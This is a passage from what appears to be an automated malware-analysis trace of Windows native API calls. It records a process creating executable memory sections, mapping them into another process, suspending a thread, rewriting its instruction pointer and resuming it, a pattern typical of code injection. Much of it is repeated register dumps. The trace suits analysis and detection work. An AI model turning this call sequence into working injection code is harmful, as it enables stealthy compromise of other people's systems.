[275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0615.213] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0615.214] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xb7a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xb8000) returned 0x0 [0615.217] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xb7a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x1030000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xb8000) returned 0x0 [0615.223] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0615.240] NtClose (Handle=0x214) returned 0x0 [0615.240] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffd3c, Ebx=0xd88000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffce4, Eip=0x1055927, SegCs=0x23, EFlags=0x206, Esp=0xeffccc, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0615.240] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0615.240] NtClose (Handle=0x20c) returned 0x0 [0615.240] NtClose (Handle=0x1e4) returned 0x0 [0615.241] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf4c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0615.241] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0615.241] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0615.241] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xcf0000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0615.241] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0620.268] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xf50) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0620.280] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0620.293] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2530000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0620.297] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf5f9f8, Ebx=0xcf0000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf5f9a0, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0xf5f988, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0620.298] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0620.299] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x122a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x123000) returned 0x0 [0620.304] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x122a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2f00000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x123000) returned 0x0 [0620.319] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0620.343] NtClose (Handle=0x214) returned 0x0 [0620.343] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, 